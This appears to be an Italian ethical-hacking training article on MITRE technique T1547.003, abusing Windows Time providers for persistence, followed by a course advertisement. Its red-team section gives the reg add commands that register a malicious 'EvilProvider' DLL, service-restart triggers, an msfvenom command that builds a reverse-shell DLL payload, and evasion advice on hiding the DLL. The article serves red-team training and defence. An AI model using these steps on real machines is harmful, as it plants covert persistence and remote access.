Time Providers: Abuso del Servizio Ora di Windows (T1547.003)

La tecnica T1547.003 — Time Providers sfrutta l'architettura estensibile del servizio Windows Time (W32Time), il componente responsabile della sincronizzazione temporale in ambienti Active Directory. Il servizio carica all'avvio una serie di provider implementati come DLL, registrati sotto la chiave *HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders*. Ogni sottochiave definisce un provider tramite il valore DllName, che punta al binario da caricare in memoria dal time provider manager.

Un attaccante con privilegi amministrativi può creare una nuova sottochiave arbitraria e associarla a una DLL malevola. Al successivo riavvio, il codice verrà eseguito nel contesto dell'account Local Service, garantendo esecuzione persistente e semi-privilegiata senza necessità di task pianificati o servizi visibili.

MITRE colloca la tecnica in due tattiche: TA0003 (Persistence), perché sopravvive a riavvii e cambi credenziali, e TA0004 (Privilege Escalation), poiché consente il salto di contesto da amministratore locale a Local Service. Nella cyber kill chain la collochiamo nella fase di Installation, dopo che l'attaccante ha già ottenuto privilegi elevati tramite un vettore iniziale.

L'impatto operativo è significativo: la persistenza risiede in un componente considerato affidabile, raramente ispezionato dai team difensivi, e la DLL viene caricata da un processo firmato Microsoft (svchost.exe con parametro w32time), rendendo la detection basata su reputazione del processo padre inefficace. Le mitigazioni disponibili sono due (M1022, M1024), entrambe basate su restrizione degli accessi a filesystem e registro.

In un esercizio red team, l'abuso di Time Providers richiede privilegi di amministratore locale già ottenuti tramite tecniche precedenti (bypass UAC, furto token, exploit kernel). La catena operativa si articola in tre fasi: sviluppo della DLL, registrazione della chiave e trigger del caricamento.

La DLL deve esportare le funzioni previste dall'interfaccia IW32Time — in particolare TimeProvOpen, TimeProvCommand e TimeProvClose. In laboratorio è sufficiente una DLL che implementi stub minimali di queste funzioni e inserisca il payload nel DllMain con case DLL_PROCESS_ATTACH. Puoi compilare con MinGW-w64 (open source) o Visual Studio Community (gratuito) usando il flag /DLL.

La registrazione avviene con comandi nativi. Da prompt amministrativo:

reg add "HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\EvilProvider" /v DllName /t REG_SZ /d "C:\Windows\System32\evil.dll" /f

reg add "HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\EvilProvider" /v Enabled /t REG_DWORD /d 1 /f

reg add "HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\EvilProvider" /v InputProvider /t REG_DWORD /d 1 /f

Il trigger può essere immediato senza reboot: basta riavviare il servizio con net stop w32time && net start w32time oppure forzare la ricarica dei provider con w32tm /config /update. Verificare il caricamento con Process Explorer (gratuito, Sysinternals) filtrando su svchost.exe ospitante w32time, oppure con Process Hacker 2 (open source) ispezionando le DLL caricate.

Per scenari più realistici, framework come Atomic Red Team (open source) includono test specifici per T1547.003 nella cartella atomics/T1547.003. In alternativa, Metasploit Framework (open source) permette di generare la DLL payload con msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll, sebbene le esportazioni corrette per W32Time debbano essere aggiunte manualmente.

Considerazioni OPSEC per il red team: la DLL viene caricata nel contesto Local Service, quindi limita l'accesso a risorse di rete che richiedono credenziali di dominio. Per movimento laterale successivo, considera l'iniezione in processi utente. Posiziona la DLL fuori da directory monitorate come System32 — una scelta più stealthy è C:\ProgramData con ACL customizzate. Documenta sempre la chiave creata per il rollback post-esercizio.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.